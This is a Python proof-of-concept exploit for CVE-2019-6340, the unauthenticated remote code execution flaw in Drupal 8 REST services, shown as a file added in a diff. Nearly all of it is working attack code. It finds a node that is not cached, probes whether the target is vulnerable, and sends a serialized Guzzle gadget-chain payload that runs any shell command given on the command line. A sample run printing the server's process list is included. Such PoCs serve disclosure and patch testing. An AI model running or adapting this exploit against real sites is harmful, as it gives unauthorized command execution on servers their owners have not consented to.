|
|
@@ -0,0 +1,224 @@ |
|
|
#!/usr/bin/env python3 |
|
|
|
|
|
# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC |
|
|
# 2019 @leonjza |
|
|
|
|
|
# Technical details for this exploit is available at: |
|
|
# https://www.drupal.org/sa-core-2019-003 |
|
|
# https://www.ambionics.io/blog/drupal8-rce |
|
|
# https://twitter.com/jcran/status/1099206271901798400 |
|
|
|
|
|
# Sample usage: |
|
|
# |
|
|
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf" |
|
|
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC |
|
|
# by @leonjza |
|
|
# |
|
|
# References: |
|
|
# https://www.drupal.org/sa-core-2019-003 |
|
|
# https://www.ambionics.io/blog/drupal8-rce |
|
|
# |
|
|
# [warning] Caching heavily affects reliability of this exploit. |
|
|
# Nodes are used as they are discovered, but once they are done, |
|
|
# you will have to wait for cache expiry. |
|
|
# |
|
|
# Targetting http://127.0.0.1/... |
|
|
# [+] Finding a usable node id... |
|
|
# [x] Node enum found a cached article at: 2, skipping |
|
|
# [x] Node enum found a cached article at: 3, skipping |
|
|
# [+] Using node_id 4 |
|
|
# [+] Target appears to be vulnerable! |
|
|
# |
|
|
# USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND |
|
|
# root 49 0.0 0.0 4288 716 pts/0 Ss+ 16:38 0:00 sh |
|
|
# root 1 0.0 1.4 390040 30540 ? Ss 15:20 0:00 apache2 -DFOREGROUND |
|
|
# www-data 24 0.1 2.8 395652 57912 ? S 15:20 0:08 apache2 -DFOREGROUND |
|
|
# www-data 27 0.1 2.9 396152 61108 ? S 15:20 0:08 apache2 -DFOREGROUND |
|
|
# www-data 31 0.0 3.4 406304 70408 ? S 15:22 0:04 apache2 -DFOREGROUND |
|
|
# www-data 39 0.0 2.7 398472 56852 ? S 16:14 0:02 apache2 -DFOREGROUND |
|
|
# www-data 44 0.2 3.2 402208 66080 ? S 16:37 0:05 apache2 -DFOREGROUND |
|
|
# www-data 56 0.0 2.6 397988 55060 ? S 16:38 0:01 apache2 -DFOREGROUND |
|
|
# www-data 65 0.0 2.3 394252 48460 ? S 16:40 0:01 apache2 -DFOREGROUND |
|
|
# www-data 78 0.0 2.5 400996 51320 ? S 16:47 0:01 apache2 -DFOREGROUND |
|
|
# www-data 117 0.0 0.0 4288 712 ? S 17:20 0:00 \_ sh -c echo |
|
|
|
|
|
import sys |
|
|
from urllib.parse import urlparse, urljoin |
|
|
|
|
|
import requests |
|
|
|
|
|
|
|
|
def build_url(*args) -> str: |
|
|
""" |
|
|
Builds a URL |
|
|
""" |
|
|
|
|
|
f = '' |
|
|
for x in args: |
|
|
f = urljoin(f, x) |
|
|
|
|
|
return f |
|
|
|
|
|
|
|
|
def uri_valid(x: str) -> bool: |
|
|
""" |
|
|
https://stackoverflow.com/a/38020041 |
|
|
""" |
|
|
|
|
|
result = urlparse(x) |
|
|
return all([result.scheme, result.netloc, result.path]) |
|
|
|
|
|
|
|
|
def check_drupal_cache(r: requests.Response) -> bool: |
|
|
""" |
|
|
Check if a response had the cache header. |
|
|
""" |
|
|
|
|
|
if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT': |
|
|
return True |
|
|
|
|
|
return False |
|
|
|
|
|
|
|
|
def find_article(base: str, f: int = 1, l: int = 100): |
|
|
""" |
|
|
Find a target article that does not 404 and is not cached |
|
|
""" |
|
|
|
|
|
while f < l: |
|
|
u = build_url(base, '/node/', str(f)) |
|
|
r = requests.get(u) |
|
|
|
|
|
if check_drupal_cache(r): |
|
|
print(f'[x] Node enum found a cached article at: {f}, skipping') |
|
|
f += 1 |
|
|
continue |
|
|
|
|
|
# found an article? |
|
|
if r.status_code == 200: |
|
|
return f |
|
|
f += 1 |
|
|
|
|
|
|
|
|
def check(base: str, node_id: int) -> bool: |
|
|
""" |
|
|
Check if the target is vulnerable. |
|
|
""" |
|
|
|
|
|
payload = { |
|
|
"_links": { |
|
|
"type": { |
|
|
"href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}" |
|
|
} |
|
|
}, |
|
|
"type": { |
|
|
"target_id": "article" |
|
|
}, |
|
|
"title": { |
|
|
"value": "My Article" |
|
|
}, |
|
|
"body": { |
|
|
"value": "" |
|
|
} |
|
|
} |
|
|
|
|
|
u = build_url(base, '/node/', str(node_id)) |
|
|
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) |
|
|
|
|
|
if check_drupal_cache(r): |
|
|
print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring') |
|
|
return False |
|
|
|
|
|
if 'INVALID_VALUE does not correspond to an entity on this site' in r.text: |
|
|
return True |
|
|
|
|
|
return False |
|
|
|
|
|
|
|
|
def exploit(base: str, node_id: int, cmd: str): |
|
|
""" |
|
|
Exploit using the Guzzle Gadgets |
|
|
""" |
|
|
|
|
|
# pad a easy search replace output: |
|
|
cmd = 'echo ---- & ' + cmd |
|
|
payload = { |
|
|
"link": [ |
|
|
{ |
|
|
"value": "link", |
|
|
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" |
|
|
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" |
|
|
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" |
|
|
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" |
|
|
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" |
|
|
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" |
|
|
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" |
|
|
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" |
|
|
"".replace('|size|', str(len(cmd))).replace('|command|', cmd) |
|
|
} |
|
|
], |
|
|
"_links": { |
|
|
"type": { |
|
|
"href": f"{urljoin(base, '/rest/type/shortcut/default')}" |
|
|
} |
|
|
} |
|
|
} |
|
|
|
|
|
u = build_url(base, '/node/', str(node_id)) |
|
|
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) |
|
|
|
|
|
if check_drupal_cache(r): |
|
|
print(f'Exploiting {node_id} returned cache HIT, may have failed') |
|
|
|
|
|
if '----' not in r.text: |
|
|
print('[warn] Command execution _may_ have failed') |
|
|
|
|
|
print(r.text.split('----')[1]) |
|
|
|
|
|
|
|
|
def main(base: str, cmd: str): |
|
|
""" |
|
|
Execute an OS command! |
|
|
""" |
|
|
|
|
|
print('[+] Finding a usable node id...') |
|
|
article = find_article(base) |
|
|
if not article: |
|
|
print('[!] Unable to find a node ID to reference. Check manually?') |
|
|
return |
|
|
|
|
|
print(f'[+] Using node_id {article}') |
|
|
|
|
|
vuln = check(base, article) |
|
|
if not vuln: |
|
|
print('[!] Target does not appear to be vulnerable.') |
|
|
print('[!] It may also simply be a caching issue, so maybe just try again later.') |
|
|
return |
|
|
print(f'[+] Target appears to be vulnerable!') |
|
|
|
|
|
exploit(base, article, cmd) |
|
|
|
|
|
|
|
|
if __name__ == '__main__': |
|
|
|
|
|
print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC') |
|
|
print(' by @leonjza\n') |
|
|
print('References:\n' |
|
|
' https://www.drupal.org/sa-core-2019-003\n' |
|
|
' https://www.ambionics.io/blog/drupal8-rce\n') |
|
|
print('[warning] Caching heavily affects reliability of this exploit.\n' |
|
|
'Nodes are used as they are discovered, but once they are done,\n' |
|
|
'you will have to wait for cache expiry.\n') |
|
|
|
|
|
if len(sys.argv) <= 2: |
|
|
print(f'Usage: {sys.argv[0]} <target base URL> <command>') |
|
|
print(f' Example: {sys.argv[0]} http://127.0.0.1/ id') |
|
|
|
|
|
target = sys.argv[1] |
|
|
command = sys.argv[2] |
|
|
if not uri_valid(target): |
|
|
print(f'Target {target} is not a valid URL') |
|
|
sys.exit(1) |
|
|
|
|
|
print(f'Targetting {target}...') |
|
|
main(target, command) |